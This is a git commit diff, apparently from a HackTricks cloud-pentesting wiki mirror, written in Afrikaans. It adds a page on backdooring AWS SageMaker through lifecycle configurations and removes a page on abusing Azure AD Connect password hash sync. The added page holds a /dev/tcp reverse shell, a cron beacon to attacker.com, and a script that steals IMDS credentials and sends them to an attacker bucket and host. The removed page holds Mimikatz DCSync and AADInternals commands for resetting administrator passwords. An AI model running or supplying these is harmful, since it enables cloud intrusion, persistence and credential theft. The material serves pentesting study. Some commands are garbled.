mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 05:03:31 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -0,0 +1,156 @@
|
||||
# AWS - SageMaker Levensiklus Konfigurasie Volharding
|
||||
|
||||
## Oorsig van Volharding Tegnieke
|
||||
|
||||
Hierdie afdeling skets metodes om volharding in SageMaker te verkry deur die Levensiklus Konfigurasies (LCC's) te misbruik, insluitend omgekeerde shells, cron jobs, geloofsbriefdiefstal via IMDS, en SSH agterdeure. Hierdie skripte loop met die instance se IAM rol en kan oor herlaaiings volhard. Meeste tegnieke vereis uitgaande netwerktoegang, maar die gebruik van dienste op die AWS beheervlak kan steeds sukses toelaat as die omgewing in 'VPC-slegs' modus is.
|
||||
#### Nota: SageMaker notaboek instansies is in wese bestuurde EC2 instansies wat spesifiek vir masjienleer werklas geconfigureer is.
|
||||
|
||||
## Vereiste Toestemmings
|
||||
* Notaboek Instansies:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio Toepassings:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Stel Levensikluskonfigurasie op Notaboekinstansies in
|
||||
|
||||
### Voorbeeld AWS CLI Opdragte:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Stel Levensiklus Konfigurasie in op SageMaker Studio
|
||||
|
||||
Levensiklus Konfigurasies kan op verskillende vlakke en aan verskillende app tipes binne SageMaker Studio geheg word.
|
||||
|
||||
### Studio Domein Vlak (Alle Gebruikers)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Ruimtevlak (Individuele of Gedeelde Ruimtes)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipes van Studio Toepassing Levensiklus Konfigurasies
|
||||
|
||||
Levensiklus konfigurasies kan spesifiek toegepas word op verskillende SageMaker Studio toepassingstipes:
|
||||
* JupyterServer: Voer skripte uit tydens Jupyter bediener opstart, ideaal vir volhardingsmeganismes soos omgekeerde skale en cron take.
|
||||
* KernelGateway: Voer uit tydens kern poorttoepassing bekendstelling, nuttig vir aanvanklike opstelling of volhoubare toegang.
|
||||
* CodeEditor: Geld vir die Kode Redigeerder (Code-OSS), wat skripte moontlik maak wat by die begin van kode redigeersessies uitgevoer word.
|
||||
|
||||
### Voorbeeld Opdrag vir Elke Tipe:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Kritieke Inligting:
|
||||
* Die aanhegting van LCCs op die domein- of ruimtevlak beïnvloed alle gebruikers of toepassings binne die omvang.
|
||||
* Vereis hoër toestemmings (sagemaker:UpdateDomain, sagemaker:UpdateSpace) wat tipies meer haalbaar is op ruimtevlak as op domeinvlak.
|
||||
* Netwerkvlakbeheer (bv. streng uitgangsfiltrering) kan suksesvolle omgekeerde skale of data-uitvloeiing voorkom.
|
||||
|
||||
## Omgekeerde Skaal via Levensiklus Konfigurasie
|
||||
|
||||
SageMaker Levensiklus Konfigurasies (LCCs) voer pasgemaakte skripte uit wanneer notaboekinstansies begin. 'n Aanvaller met toestemmings kan 'n volgehoue omgekeerde skaal tot stand bring.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistensie deur Levensiklus Konfigurasie
|
||||
|
||||
'n Aanvaller kan cron take deur LCC-skripte inspuit, wat periodieke uitvoering van kwaadwillige skripte of opdragte verseker, wat stil persistensie moontlik maak.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Kredensiaal Uitsifting via IMDS (v1 & v2)
|
||||
|
||||
Levensiklus konfigurasies kan die Instansie Metadata Diens (IMDS) ondervra om IAM kredensiale te verkry en dit na 'n aanvaller-beheerde ligging uit te sift.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
# Az - PHS - Wagtwoord Hash Sinkronisasie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagtwoord hash sinkronisasie** is een van die aanmeldmetodes wat gebruik word om 'n hibriede identiteit te bereik. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit is die **meest algemene metode** wat deur maatskappye gebruik word om 'n plaaslike AD met Azure AD te sinkroniseer.
|
||||
|
||||
Alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinkroniseer. egter, **duidelike teks wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.\
|
||||
Boonop, **Ingeboude** sekuriteitsgroepe (soos domein administrateurs...) word **nie gesinkroniseer** na Azure AD nie.
|
||||
|
||||
Die **hashes sinkronisasie** vind elke **2 minute** plaas. egter, standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinkroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
|
||||
|
||||
Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **verifikasie plaas op Azure AD**.
|
||||
|
||||
**PHS** is vereis vir funksies soos **Identiteitsbeskerming** en AAD Domeindienste.
|
||||
|
||||
## Pivotering
|
||||
|
||||
Wanneer PHS geconfigureer is, word sommige **bevoorregte rekeninge** outomaties **gecreëer**:
|
||||
|
||||
- Die rekening **`MSOL_<installationID>`** word outomaties in die plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicasie (DCSync) regte in die plaaslike AD** het.
|
||||
- 'n Rekening **`Sync_<name of on-prem ADConnect Server>_installationID`** word in Azure AD geskep. Hierdie rekening kan **die wagwoord van ENIGE gebruiker** (gesinkroniseer of slegs wolk) in Azure AD **herstel**.
|
||||
|
||||
Wagwoorde van die twee vorige bevoorregte rekeninge word **in 'n SQL-server gestoor** op die bediener waar **Azure AD Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
|
||||
Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Dit is moontlik om die konfigurasie van een van die tabelle te onttrek, wat een versleuteld is:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
Die **versleutelde konfigurasie** is versleuteld met **DPAPI** en dit bevat die **wagwoorde van die `MSOL_*`** gebruiker in die plaaslike AD en die wagwoord van **Sync\_\*** in AzureAD. Daarom, om hierdie te kompromitteer, is dit moontlik om privesk te verkry tot die AD en AzureAD.
|
||||
|
||||
Jy kan 'n [volledige oorsig van hoe hierdie akrediteer bespaar en ontsleutel word in hierdie praatjie vind](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Vind die **Azure AD connect bediener**
|
||||
|
||||
As die **bediener waar Azure AD connect geïnstalleer is** aan die domein gekoppel is (aanbeveel in die dokumentasie), is dit moontlik om dit te vind met:
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Misbruik van MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Jy kan ook [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) gebruik om hierdie akrediteer te verkry.
|
||||
|
||||
### Misbruik van Sync\_\*
|
||||
|
||||
Deur die **`Sync_*`** rekening te kompromitteer, is dit moontlik om die **wagwoord** van enige gebruiker (insluitend Globale Administrators) te **herstel**.
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Dit is ook moontlik om **slegs die wagwoorde van wolk** gebruikers te **wysig** (selfs al is dit onverwags)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Dit is ook moontlik om die wagwoord van hierdie gebruiker te dump.
|
||||
|
||||
> [!CAUTION]
|
||||
> 'n Ander opsie sou wees om **bevoorregte toestemmings aan 'n dienshoof** toe te ken, wat die **Sync** gebruiker **toestemmings** het om te doen, en dan **daardie dienshoof** te benader as 'n manier van privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Dit is moontlik om Seamless SSO met PHS te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user